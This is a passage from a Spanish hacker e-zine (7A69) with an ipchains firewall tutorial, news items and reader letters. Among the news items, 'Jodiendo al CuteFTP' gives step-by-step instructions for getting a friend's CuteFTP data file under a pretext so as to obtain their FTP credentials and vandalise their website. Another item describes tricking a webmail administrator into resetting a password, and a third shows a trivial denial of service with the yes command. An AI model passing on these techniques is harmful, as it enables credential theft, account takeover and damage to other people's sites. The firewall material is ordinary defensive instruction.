ninguna de las reglas definidas en cada una de las colas, se le
aplica la politica definida para esa cola: ACCEPT, DENY, REJECT
REDIRECT o MASQ. Si encaja con alguna de las reglas se le aplica lo
que indique la regla]
-=( 03 )=--=( Compilacion del nucleo )=-
Para compilar el nucleo dare por sabido que os sabeis bien sabidas como se
debe compilar el nucleo. Por lo que si no os sera algo mas dificil . Ah los
nucleos 2.0.X los he dejado fuera por que casi no tengo experiencia con el
ipfwadm pero intentare buscar info para incluir algo del mismo. Como os
dareis cuenta estos firewall funcionan a nivel del nucleo por lo que no
estara disponible cargarlos como modulos para despues cargarlos cuando
querais.
(1) - Compilacion en nucleos 2.1.102 => 2.2.X :
Lo primero sera ir al directorio donde este el nucleo usualmente
"/usr/src/linux" una vez alli lo primero sera ir a elegir las opciones con
el comando "make menuconfig", si sois de la vieja escuela "make config" los
de las X "make xconfig" pero estas nunca me han gustado mucho chupan mas
recursos. El "make {menuconfig-xconfig}" os servira esta explicacion
Networking options --> Venirse para aca lo primero uffff .
[*] Network firewalls --> Esto sirve para habilitar la opcion del firewall .
[*] IP: firewalling --> Esto habilita el ipchains .
Para los del make config :
CONFIG_FIREWALL=y
CONFIG_IP_FIREWALL=y
Para los del make config tendreis que irros al archivo .config dentro de
donde este grabado el nucleo y simplemente en la seccion de Networking
options quitar la # (Almohadilla).
Una vez realizado esto nos basta compilar el nucleo y listo esto
"make [b]zImage".La [b] es por si sobrepasa el tama¤o , Para nucleo muy
llenos.
(2) - Compilacion en nucleos 2.3.X :
Aunque estos nucleos sean versiones inestables no por eso se tienen que estar
colgando cada dos por tres , mi nucleo 2.3.19 me estuvo funcionando
perfectamente y por ahora van por el linux-2.3.99-pre3 y he probado mas de la
misma seria y funcionan perfectamente. No me refiero con el firewall si no en
general.
Make menu{config-xconfig}
Networking options --> Venirse para de nuevo aca lo primero uffff.
[*] Network packet filtering (replaces ipchains) --> Esto activa el
netfilter.
Make config
CONFIG_NETFILTER=y
# CONFIG_NETFILTER_DEBUG is not set
Ya sabeis le quitais la almohadilla y listo el CONFIG_NETFILTER_DEBUG es para
modo debug eso deberia de estar claro si no ya es falta de vista.
Ahora compilais el nucleo y listo .
Una cosa que comentar si se activa el soporte de firewall se tendra que
desactivar "Fast switching" . Si no podra dar errores segun la ayuda del
kernel.
-=( 04 )=--=( Firewall bajo linux )=-
Pues bien para usar un firewall bajo linux vamos a usar el que viene desde
nuestro nucleo sin necesidad de recurir a herramientas externas antes de nada
hay que saber que version del nucleo tiene uno :
ipfwadm --> Se usa en las versiones de los Kernels 2.0.X
ipchains --> Se usa en las versiones de los Kernel 2.2.X
netfilter --> Se usara en las versiones de los Kernel 2.4.X (2.3.X)
Me voy a centrar sobre todo en el uso del ipchains por que el del ipfwadm
casi no lo he llegado a usar .Este documento acompa¤a un programa que echo yo
que te crea el script para usar los firewall pero esta claro que coger y usar
el programa de primeras no os servira de nada quien avisa no es traidor. Otra
cosa es decir que el ipchains y el ipfwadm solo pueden trabajar a traves del
tcp-ip pero en el netfilter se le ha puesto remedio .
Los ejecutables del ipchains son :
ipchains :
Es el ejecutable principal y al que se le dan todas las ordenes que mas a
bajo describire.
ipchains-save :
Muestra todas las cadenas del ipchains por la pantalla esto servira para
guardarlo en algun archivo y despues poder cargarlo con el ipchains-restore ,
Y a si tener varias configuraciones facilmente el programa que he hecho el
fireIPS es un poco tonto si se utiliza el ipchains-*, Ejemplo:
ipchains-save > /etc/ipchains.rules .
Se le suele poner de nombre ipchains.rules pero en verdad es lo de menos.
ipchains-restore :
Este programa carga los salvado con el ipchains-save o cualquier otro basta
con poner "ipchains-restore < archivo.con.la.configuracion".
Ipchains caracteristicas :
+ Bloquear protoclos (tcp,udp,icmp,etc) .
+ Bloquear rangos de puertos .
+ Redireccionar puertos .
+ Denegar el acceso a ciertas Ip's .
Claro esta puedes declarar ip's : amistosas o ingratas por a si decirlo .
ipchains -L . Nos muestra la lista de cadenas .
ipchains -F . Limpia todas las cadenas que haya , Tipos de cadenas :
input : Entrada
output : Salida
forward : Para el fordward
ipchains -A . Especifica al tipo de cadena que va sometida .
ipchains -X . Borra una cadena que le digas .
ipchains -p . protocolo (icmp,tcp,udp,etc) . Le dice el tipo de protocolo
ipchains -j . Le dice a done ira dirigido lo que le mande si lo acepta lo
deniega lo redirecciona , etc. (ACCEPT, DENY, REJECT, MASQ,
REDIRECT, o RETURN)
ipchains -s . Sirve para asignar una ip o un Host .
ipchains -d . Destino de las Ip's .
ipchains -l . Lo logea a traves del kernel creo .
ipchains -i . Puedes indicar el interface (eth0 , ppp0 , etc) .
[Daemon: Nota: cadenas = colas ]
Por ejemplo si queremos denegar el protocolo icmp para todo el mundo bastaria
con poner esto .
ipchains -A input -p icmp -j DENY
Si queremos denegarlo solo para la tarjeta de red seria :
ipchains -A input -p icmp -j DENY -i eth0
Ahora vamos a ver lo que pasa una vez instalado el firewall y sin instalar .
Esto mandaria 2 paquetes a la propia maquina :
ping -c2 127.0.0.1
PING localhost (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=255 time=0.551 ms
64 bytes from 127.0.0.1: icmp_seq=0 ttl=255 time=0.551 ms
Sin el firewall instalado los ping funcionarian a si ahora una explicacion
mas seria a traves del tcpdump :
Lepton:~ # tcpdump -i lo &
22:53:18.806004 localhost > localhost: icmp: echo request
22:53:18.806004 localhost > localhost: icmp: echo request
22:53:18.806166 localhost > localhost: icmp: echo reply
22:53:18.806166 localhost > localhost: icmp: echo reply
1 packets received by filter
0 packets dropped by kernel
Esto corresponderia a un paquete icmp primero manda un echo request y cuando
llega el echo reply es cuando sabe que le has devuelto el paquete con tanto
retardo que corresponderia al apartado time del ping . Bien y ahora como
seria con el firewall instalado a prestar atencion al ultimo apartado del
tcpdump donde pone 1 paquete filtrado .
Con el firewall configurado para denegar todos los paquetes icmp :
ping -c2 127.0.0.1
PING localhost (127.0.0.1): 56 data bytes
--- localhost ping statistics ---
2 packets transmitted, 0 packets received, 100% packet loss
En este caso debes matar el porceso por que el ping se tira un buen rato
hasta que comprueba que le es imposible que le llegen los paquetes. Y ahora
analizamos lo que nos llega con el tcpdump.
Lepton:~ # tcpdump -i lo
tcpdump: listening on lo
01:15:20.366526 localhost > localhost: icmp: echo request
01:15:20.366526 localhost > localhost: icmp: echo request
01:15:21.357292 localhost > localhost: icmp: echo request
01:15:21.357292 localhost > localhost: icmp: echo request
4 packets received by filter
0 packets dropped by kernel
Bueno ha quedado claro el ipchains funciona y no constenta a los paquetes
icmp con un echo reply. Pero una cosa denegar todos los paquetes icmp seria
una barbaridad por que si utilizampos el IRC este comprueba si estamos
conectados mandandonos un ping y si no le respondemos nos da como si nos
hubieramos caido de todas formas podrias averiguar la IP del servidor de IRC
que utilizes y aceptar de esta todos los paquetes que te mande . O hacer
algun script o programa que cuando te hallan llegado mas de X paquetes
seguidos le prohiba a esa IP devolver mas paquetes icmp . Intentare tenerlo
listo pero no puedo prometer nada . Pero si quisieramos aceptar los paquetes
que mandasen desde nuestra red y rechazar los demas como seria :
[Daemon: En realidad el famoso PING del server IRC se manda mediante la
conexion TCP a tu cliente de IRC, no es el ICMP ping. Puedes
bloquear todos ICMP's tranquilamente, el server no te tirara ;) ]
ipchains -A input -s localhost -j ACCEPT
ipchains -A input -p icmp -j DENY
Con el -A le indicamos que va para la cadena de input con el -s le decimos
todos los paquetes que vengan desde una direccion de red . Que o bien ponemos
la ip o el nombre de la maquina esto supongo que lo sabiais pero el nombre de
la maquina tiene que venir puesto en "/etc/hosts" y si no leer el numero
anterior que vendria un documento bastante bueno. y por ultimo el -j que
servira para decir si los aceptamos o rechazamos ya el segundo comando le
asigna a la cadena (-A) input que el protocolo (-p) icmp se deniege (-j) DENY
pero como tambien tenemos puesto que al localhost le acepte .
Ahora veamos un ejemplo vamos a denegar el ftp para todo el mundo exepto para
los de la red interna. Tenemos 3 ordenadores los cuales cada Ip biene
expuesta en el "/etc/hosts".
DIOS : Onde esta el firewall y el demonio del ftp el bastion host vaya
ANGEL : Una maquina de la red con Ip 192.168.0.1
ARCANGEL : Otra maquina de la red con Ip 192.168.0.2
Entonces vamos denegar el puerto del ftp (21) para el exterior teniendo en
cuenta que la maquina DIOS tiene conexion a internet y las otras dos se
enganchan a ella y conectan tambien.
Ejemplo :
ipchains -A input -s ANGEL -j ACCEPT
ipchains -A input -s ARCANGEL -j ACCEPT
ipchains -A input -p tcp -j DENY -s 0.0.0.0/0 -d 0.0.0.0/0 21
En la primera a¤adimos a la maquina ANGEL y ARCANGEL como que les aceptamos
y por ultimo especificamos todo tipo de conexion mediante tcp a todas las
maquinas y le probihimos que entren . Pero si queremos dengarlo todo desde
el puerto 21 hasta el 79 o lo que quieras seria a si .
ipchains -A input -p tcp -j DENY -s 0.0.0.0/0 -d 0.0.0.0/0 21/79
Entonces ya tendriamos un firewall to pachangero instalado y todo con linux.
Pero si queremos guardar esta configuracion ya para siempre pues muy facil
lo primero que hariamos :
ipchains -L ; Y con esto vemos si esta todo deacuerdo como lo queremos
nosotros
Si toda va bien haremos uso de las utilidades de ipchains-save y el restore ;
Lepton:~ # ipchains -L
Chain input (policy ACCEPT):
target prot opt source destination ports
DENY tcp ------ anywhere anywhere any -> ftp
ACCEPT all ------ localhost anyw
Si os dais cuenta no he puesto las mismas maquinas de las que ponia en el
ejemplo dado que yo no tengo una red estas cosas se dan por echas pero a si
todo el mundo podra entender los conceptos. Regresando veamos la salida que
nos ha dado todo esta como queriamos ¨? si pues entonces sigamos .
Lepton:~ # ipchains-save > /etc/ipchains.rules
Saving `input'.
Bueno pues se han salvado los cambio en "/etc/ipchains.rules" ahora si los
queremos cargar otra vez basta con poner .
Lepton:~ # ipchains-restore < /etc/ipchains.rules
Y listo ya esta cargado. Puedes tener varias configuraciones dependiendo de
cada caso.
Ahora pondre algunos ejemplos :
ipchains -A input -p tcp -j DENY -s 0.0.0.0/0 -i ppp0 -d 0.0.0.0/0 0:6100
Este denegaria del 0 al 6100 a todas las conexiones que probengan del ppp que
se usa para internet y a si poder dejar pasar los paquetes que probengan de
la tarjeta de red o otros interfaces con poner 'ifconfig' podreis ver los que
hay activos.
-=( 05 )=--=( fireIPS )=-
Es el programa que he creado para hacer los scripts de configuracion del
ipchains por ahora solamente . Aunque haciendo uso del ipchains-save y
restore es hasta mas facil
Su instalacion es mu facil :
./compila (1)
fireIPS (2)
./instala (3)
(1) ./compila
No creo que tenga mucha complicacion asimilar este concepto . Es un script
que compila el programa.
(2) fireIPS
Este es el programa encargado de generar el archivo de configuracion del
firewall es un poco cutre pero lo mejorare tranquilos . Lo unico que hace
es crear el archivo "rc.ipchains".
(3) ./instala
Este script se encarga de que se instalen los scripts necesarios tendra dos
opciones o que se te instale para que cada vez que se encienda el ordenador
o de que simplemente te lo grabe y lo ejecutes tu cuando quieras en el caso
primero se te instalara en el directorio "/etc/rc.d/init.d" para que se
aranque al inicio y si no te lo grabara en alguna de las rutas de los
ejecutables .
Si hay algo que no entendais mirar el codigo fuente que pa algo esta ahi y
os puedo asegurar que no es nada dificil .
-=( 06 )=--=( Documentacion )=-
How-To del ipchains.
/usr/src/linux/Documentation/networking ; Mucha info en ingles.
http://www.rustcorp.com/linux/ipchains ; Pagina de los creadores del
ipchains.
Linux NETFILTER HOWTO
http://netfilter.kernelnotes.org/ ; El nuevo firewall para los nucleos
nuevos.
-=( 07 )=--=( Otros )=-
A qui dare alguna descripcion de otros firewalls. Para la wintendo esta el
conseal (creo) que se llama a si, creado por daemon9 . No lo he llegado a
usar pero por lo que me han dicho cada vez que te hacen una peticion de un
puerto , etc . Te va avisando o algo por el estilo . Bueno miento si lo he
visto simplemente me pareze que tenia unos rules o criterios aca para saber
lo que tiene que dejar pasar o preguntar , etc . Por que si no ir analizando
todos lo paquetes es un gran retardo en la conexion .
Para nucleos 2.0.X se usaba el ipwadm que su uso era mu parecido y no creo
que tenga que decir como se compila el nucleo para este , etc . Hay un script
que pasaba las reglas de los ipfwadm a los ipchains para los que estabais
acostumbrados a los kernels anteriores se llama ipfwadm2ipchains y su web :
http://users.dhp.com/~whisper/ipfwadm2ipchains/ . No lo he llegado a probar
por que lo saque de un doc que lei y pense que podia ser util.
kfirewall : http://megaman.ypsilonia.net/kfirewall/ ; este es otro para la
kde o con que tengas las librerias QT lo podras usar . Para crear las reglas
para el firewall.
El netfilter no lo he podido incluir por falta de doc y lo unico que he
podido es bajarme unos binarios de la page del netfilter :
http://netfilter.kernelnotes.org/
Y poca cosa mas intentare dar otro doc para el netfilter mas adelante . En la
page me consegui bajar el iptables que es con el que podras configurar el
firewall para los nuevos nucleos no me dio tiempo a compilarlo pero te trae
la pagina del man iptables.8 echarle un vistazo.
EOF.
Digase end of file
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º * ARTICULO * º * TEMA * º * NIVEL * º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺ
º13.- Proyectos º El Futuro º º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
[ Editor ]
Bueno bueno bueno, parece que 7a69 esta creciendo y llegando a la madurez
intelectual, pero no por ello debemos dejar de seguir creciendo, por ello
seguimos con nuestros proyectos, para que TU puedas ayudarnos, joder!.
Saludos a todos los que nos habeis ayudado a llevar el concurso de dise¤o
grafico adelante (aunque seais pocos, sois << Peazo frase ).
1.-OTROS FORMATOS: No cabe duda que el formato txt es el mas estandarizado y
mas facil de leer (Pues basta con tener un simple
procesador de textos), pero tampoco cabe duda de que es
un formato algo incomodo, por lo que {7A69} se plantea la
posiblidad de hacer aparecer el E-Zine en formatos mas
vistosos como el HTML o HLP. Si alguien tiene interes en
pasar {7A69} a los formatos ya nombrados basta con que
mande un Mail a la direccion de correo oficial del
E-Zine comunicandolo.
3.-NOTICIAS: La seccion noticias tratara de ser habitual en {7A69}, pero
nosotros solos no podemos estar atentos a todo lo que pasa en
el mundo del Undergr0und y de la seguridad informatica, asi que
hacemos un llamamiento a todos aquellos que se sientan cada
tarde en el sofa a ver la tele a que se animen a informarse de
todo lo posible, a redactar noticia, y como no.... a
enviarnoslas ;)
Ni una sola... si ya lo decia el (no quiero dar el nombre, por
que ya sabe quien es :P), Espa¤a esta llena de vagos :)
4.-IRCWAR: Bueno, el irc-war es un tema que no hemos tratado nada por ahora,
si que para un futuro cercano trataremos de ofreceros un buen
texto en el que se expliquen las tecnicas que utilizan los
aficionados a este deporte (¨Deporte?).
Aun que hemos recibido algun articulo, creemos preferible que no
hayan sido publicados y que sean de creacion propia...
5.- CONCURSOS: Pues bueno, visto el exito del primer concurso seguiremos con
esta magnifica iniciativa. ¨Que de que va este segundo
concurso? Pues de crear aspectos para la rebista :) Imagenes
ASCII, dise¤os para el indice, etc, etc.
6.- 7A69SOFT: Uno de los proyectos que con mas fuerza estamos llevando
ultimamente los miembros del Staff de 7a69 es "7a69Soft",
proyecto mediante el cual distribuimos programas de todo tipo
(Aplicaciones, Juegos, Parches, Exploits, etc) creadas por los
propios mimbros de 7a69 y con la unica intencion de que
vosotros aprendais de nuestros programas (Bueno, seguro que en
mas de una ocasion vosotros nos corregireis alguna que otra
cosilla... un fallo lo tiene un guardia, como diria my buen
amigo Bish0p).
En la web de 7a69 (http://www.7a69ezine.8m.com), podreis
encontrar la seccion "7a69Soft", donde encontrareis lo que,
por el momento, distribuimos. Bueno, esperemos que esta seccion
sea de vuestro agrado :P
NOTA: En el interior del Zip con el que distribuimos 7a69#9
podeis encontrar las aplicaciones por el momento
distrtibuidas... A leer el codigo se ha dicho! Hehehe.
Dia a Dia.... ¨Lo que? xD
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º * ARTICULO * º * TEMA * º * NIVEL * º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺ
º14.- Noticias / Curiosidades º Actualidad º º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
[ Editor ]
-----------------------------{ ¨Me Quieres? }--------------------------------
-----------------------------------------------------------------------------
Me levanto un buen dia, tarde, como siempre, pongo las noticias y veo que se
habla de un virus llamado ILOVEYOU.
ILOVEYOU es un virus bastante sencillo escrito en VBS, que se propaga via
mail o atraves del IRC. Su propagacion via E-Mail se realiza como la de otros
muchos virus, enviando mails a personas conocidad de la persona infectada
(busca las direcciones de correo en la maquina infectada), con "ILOVEYOU"
como Subject, y con un fichero vinculado "iloveyou.txt.vbs" (lo de *.txt.* es
para despitar, pues a veces el guin no muestra las extensiones, y de esta
manera el usuario ve "iloveyou.txt" y ZAS!"). Lo realmente peligroso de este
virus es que solo con tratar de editar el fichero vinculado (doble click
r00ls) nuesto sistema quedara automaticamente infectado por el virus, y este
tratara de infectar a nuestros conocidos (el echo de que el mail llege de un
conocido tambien es peligroso, desconfia de tu mejor amigo :P).
Actualmente existen una gran cantidad de variantes de ese virus que ha
llegado a infectar una infinidad de paginas de instituciones importantes...
¨es que los trabajadores de las instituciones importantes pasan las horas
conectadas al IRC o intercambiando mail? por que si no es asi no entiendo
como ha podido suceder :-?
Al parecer el creador de ILOVEYOU es un estudiante filipino que presento el
virus como trabajo en la universidad (este le fue rechazado). El acusado
asegura que se le "escapo" el virus, jajaja, fijo que si.
NOTA: Podeis encontrar el codigo fuente de este virus en el paquete de
7a69#9 :)
-----------------------------------------------------------------------------
------------------------{ Jodiendo al CuteFTP }------------------------------
-----------------------------------------------------------------------------
Bueno este texto es para novatos en serio :-) y puede ser que ya lo conozcan
aunque la tecnica se me ocurrio a mi by Arn0l.
Pero si se me ocurrio a mi seguro que existe, ademas no es un topsecret.
bueno ahi va:
Queres joderle la web a un "AMIGO" y no tenes muchos conocimientos? Entonces
este texto puede ayudarte.
El cuteFTP tiene seguridad luna (parece que fuera de micro$osft) por lo que
consiguiendo un archivito tenes el user, el pass, el hosting y todo para
conectarte a la web a joder.
Bueno el procedimiento es el siguiente:
En el cuteFTP 2.5/2.6 y 3.x existe un archivo llamado smdata.dat y en el
cuteFTP 2.0 version en espa¤ol existe el file tree.dat ambos se pueden abrir
con el block de notas de el venatnucos.
Consigue el archivo segun corresponda pidelo por irc o personalmente con
alguna excusa (simplemente dile: el win me lo pide para arrancar no me lo
pasas).
Bueno una ves conseguido el archivo te dirigis a la carpeta donde instalaste
cuteFTP generalmente c:\windows\archivos de programas\cuteFTP y ahi insertar
el archivo,te va a preguntar si queres sobreescribir le mandas
que si y tachan abris el cute y la cuenta de tu "amigo" con contrase¤a y todo
el archivo tiene que coinsidir con la versiond de cuteFTP ej: el archivo de
la version 3.x de cuteFTP pegalo en el CuteFTP 3.x no en otra version.
PD:si ya tenes una web con cuteFTP, guarda el viejo archivo o instala otro
cuteFTP ya que si sobreescribis el archivo perdes los antiguos datos ojo!
bueno eso es todo espero que a alguien le sirva a mi me ha servido y mucho.
este truquito lo idee yo. By Arn0l.(aunque es una pelotudes)
Un saludo para todos he ire aportando a la ezine a medida que tenga los
conocimientos.
-----------------------------------------------------------------------------
---------------------{ Personalizando el LILO BOOT }-------------------------
-----------------------------------------------------------------------------
Pues hara poco se me ocurrio ponerme un mensaje en el lilo que estuviese bien
me hice algunas cosillas poniendo en lilo.conf : message=/boot/mensaje.
Te mostrase un texto pero mi ingenio no quedo ahi y si en vez de poner el
soso 'boot:' cada vez que iniciase el lilo pusises 'trycky@Lepton:~>' como si
estuviese en mi makina esto sale de la variable PS1 para el que le pique la
curiosidad . Entonces me puse manos a la obra lo primero es bajarse el src
usease el codigo fuente del lilo la ultima version es la 21.Lo primero que
hice fue irme a www.linuxapps.com y de ahi buscar hasta encontrar en este ftp
el lilo 21 : 'ftp.Ircpftp.epfl.ch/pub/linux/local/lilo' y si no buscais en
cualquier site que seguro que viene co¤o . Una vez bajado nos ponemos a
buscar la cadena 'boot:' grep boot: * . Nos lo encontramos en el archivo
second.S y justamente en la linea 1799.
msg_p: .ascii "boot: "
msg_p: .ascii "real@Lepton:~ > "
Pues sustituimos boot: por lo que queramos y listo. De paso le di un repasi¤o
al codigo fuente del mismo para a ver que mas se podia aprender si os fijais
en las lineas de abajo vienen mas mensajes ya que cada uno haga lo que
quiera. Una vez modificado pues a compilar ,si os suena ese make ummm no que
va.
Este documento ha sido escrito por trycky podeis repartirlo por donde querais
distribuirlo , etc . Siempre que se mantenga al autor espero que lo hagais de
todas formas :) soy felix como una perdix y como una peliculax de esax con
muchax X.
TryckY 2000 . 7A69 Ezine
EOF
-----------------------------------------------------------------------------
--------------------------{ ¨DoS?.... MiniDoS }------------------------------
-----------------------------------------------------------------------------
Voy a explica como hacer un pequeno DOS (Denial Of Service) usando el
programa yes que simplemente muestra todo el rato por pantalla un 'y' por
defecto aunque puede mostrar lo que tu quieras este programa no es mas que un
bucle sin fin while(b==1) y 'b' siempre tendra el valor de 0 por ejemplo por
lo que nunca acabaria el bucle su uso es mu simple y puede llegar a gastar
casi todos los procesos dejandolos sin recursos y gastando toda la memoria
swap .
trycky@Lepton:~ > `yes'
Y de aqui pasara a la bash la cual empezaria a gastar muchos recursos y
bastante memoria swap al siguiente momento te quedas sin recursos en la
makina esto tiene solucion quitar el comando yes . Pero tampoco es que sea un
gran dos si una makina tiene ajustado perfectamente el tiempo maximo de carga
de la cpu para los usuarios , etc .
TryckY 2000 . 7A69Ezine
EOF
-----------------------------------------------------------------------------
----------------------------{ ¨Mails seguros? }------------------------------
-----------------------------------------------------------------------------
NOTA: Texto excrito por AiNaKeR :)
Bueno, esto es un ejemplo de la asombrosa seguridad de los servidores que
actualmente usamos para mandar/recibir mails (al menos yo) ;)
Quiero dejar claro, que en ningun momento pretendia robar el password de
nadie, simplemente, que perdi tras un percance toda la infor macion de mi
disco duro, y como mixmail no dejar cambiar el password a traves de web, tuve
que mandar uno al administrador (En esta cuenta use nombres, direccion y
demás falsos, por lo que tampoco los recordaba, a exepcion del nombre (Vivan
los profesores!! :))
<Ripe: hummm... dish!>
Ademas quiero dejar claro que esta cuenta no es mi email actual (que en breve
dejara de serlo :) sino otra que utilizo de forma cotidiana para recibir
mails de listas, etc... y que los mails fueron mandandos desde otra cuenta
en otro servidor que tenia el mismo login, para ver si daba mas credibilidad
en fin, no me enrollo mas, os comento los emails :))
####Msg n§1 a webmaster@mixmail.com####
Deseaba pedirle ayuda al cambiar la contrase¤a de mi correo,
pues he tratado de cambiarla siguiendo los pasos de la web y
no me deja, pese a que me acepta la respuesta a la pregunta
que me formula /* Esto era inventado, of course */
Si no fuese posible el cambio de contrase¤a, canceleme la
cuenta y la registrare de nuevo...
att. XXX XXX XXX /* Nombre y apellidos */
####A la semana, el admin me contesto con este mensaje####
Hola XXXX:
Es cierto que dicho servicio esta temporalmente desabilitado
y no se puede cambiar la contrase¤a mediante web.
Necesitamos para ello la siguiente informacion:
Nombre y apellidos
Direccion
Cp postal
Lugar donde conociste mixmail
Te informamos que para dar de baja tu cuenta solo nos tienes
que enviar un mensaje desde LA MISMA CUENTA QUE QUIERAS DAR
DE BAJA, manifestando tu voluntad de dar de baja la cuenta y
facilitando los siguientes datos:
- Asunto: BAJA DE MIXMAIL
- Contrase¤a:
No olvides utilizar la opcion "Responder" para no perder el
hilo del asunto.
Gracias.
Webmaster de Mixmail
http://www.mixmail.com
En fins, yo no tenia toda esa info, pero lo de "Responde" me dio una idea
borre las lineas que pedian info que no tenia en el reply y en el mio
conteste tan normal, tratando de darla de baja...
Le escribo de nuevo este mail pidiendo de nuevo el cambio
de contrase¤a para mi cuenta mixmail que ya solicite,
XXXXXX@mixmail.com, pero en vista de que el tiempo
requerido para esto es demasiado (pues aunque Ud. ya me
contesto, mi cuenta sigue en el mismo estado...)
solicito que Ud. la de de baja y posteriormente ya la
registrare de nuevo yo.
Mis datos son:
Nombre: XXXXXXX
Apellidos: XXXXXX
Conoci mixmail: rayadarayadarayadarayadarayadarayadarayadarayadarayadarayada
rayadarayadarayadarayadarayadarayadarayadarayadarayadarayada
rayadarayadarayadarayadarayadarayadarayadarayadarayadarayada
rayadarayadarayadarayadarayadarayada...
Atentamente XXXX :)
Sin embargo, o se coscaron o estaban demasiado ocupados, por que no me
llegaron a responder, por lo que a las 2 semanas mande este mail:
En un principio le pedi el cambio de contrase¤a puesto
que yo la habia perdido. Sin embargo, Ud me respondio
con otro mail diciendo que debia de mandarle mis datos,
etc, asi como el login de la cuenta. Yo le envie eso
pero no obtuve respuesta, por lo que porpuse cancelar
la cuenta de correo. Sin embargo, si no se la contrase¤a
de ella dudo mucho que pueda manadarle un mensaje a Ud.
de cancelacion. La idea de cancelar la cuenta no era mas
que para volver a registrarla y asi agilizar el cambio
de contrase¤a, el cual se esta haciendo eterno y no creo
que sea tan complicado En cualquier caso, preferiria la
cancelacion de ella y un posterior registro de la misma
por mi, pero puesto que creo que el buzon debe tener
emails, les pido que me cambien la contrase¤a.
Mis datos son:
XXXX XXXX XXXX, y mi palabra clave es XXXXXX, que mas
necesitan??
/* La "palabra clave", era, por supuesto, inventada, pero no sabia que hacer
ya... */
Cual fue mi sorpresa, cuando a los 4 dias, me encuentro este mail en mi inbox
Hola XXXX:
Hemos comprobado los datos que nos envias, y son
correctos, por lo que hemos procedido a cambiarte
la contrase¤a.
Tu nueva clave es: XXXXXXX
Si deseas darla de baja, escribenos, enviandonos el
mensaje desde la misma cuenta que desees dar de baja.
No olvides utilizar la opcion "Responder" para no
perder el hilo del asunto.
Gracias.
Webmaster de Mixmail
http://www.mixmail.com
Lo mas curioso del asunto y que no alcanzo a comprender, es que mi clave fue
cambia al nombre que di como palabra clave (sigh!!)
Bueno, espero que les haya quedado claro :) cualquier sugerencia,
webmaster@mixmail.com xDDDD
See ya! :P
-----------------------------------------------------------------------------
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º * ARTICULO * º * TEMA * º * NIVEL * º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺ
º15.- La voz del lector º Mailing º º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
[ Editor ]
Y una vez mas.... vuestra seccion:
---{ 01 }--------------------------------------------------------------------
Hola!
He de decir que me encantan vuestras publicaciones,
y que gracias a ellas he aprendido mucho (sobretodo
a trabajar un poco el entorno UNIX).
<Ripe: Encantado de ser util>
Sinembargo he de decir que me han surgido algunas
dudas....
<Ripe: Venga venga, no te cortes....>
Tengo un linux instalado (concretamente suse 6.0), y
en teoria este deberia comportarse como UNIX, pero,
por ejempo, no funciona el comando "learn",
<Ripe: Linux no ha adoptado nunca esta
bonita opcion de ayuda, y muchos
(por no decir todos) los sistemas
UNIX estan dejando de lado "learn",
esto es debido a que UNIX es un
sistema operativo dirigido a gente
que ya dispone de ciertos
conocimientos, y por lo tanto no
se necesita ningun tipo de ayuda
interactiva. De todos modos te
animo a usar "man", con el que
obtendras respuestas a practicamente
cualquier problema que se te plantee>
y si pongo "rm -r <directorio> me pide confirmacion
para borrar cada uno de los ficheros (es muy pesado ir
ponido yes, yes, yes.
<Ripe: Si, la verdad es que poner yes, yes
yes, puede ser muy pesado, pero no
es necesario.
Tu SuSe 6.0 tiene definido el
siguiente alias "rm=rm -i", y el
modificador "-i", se utiliza para
pedir confirmacion (se utiliza
tambien en otros comandos). Para
solucionar esto se me ocurren dos
posiblidades, una de ellas consiste
en eliminar dicho alias (no puedo
decirte donde esta definido
exactamente, pero te recomiendo que
mires los ficheros de carga del
shell), la otra solucion pasa por
usar el modificador "-f", que se
utiliza para contrarestar los efectos
de "-i", por lo que tu orden quedaria
"rm -rf <directorio>" (aun que
realmente estas ejecutando "rm -rif")>
Otra cosa que queria comentarte es que el curso de UNIX
va algo lento, y yo estoy ansioso por aprender.... ¨no
podrias enviarme numeros avanzados?
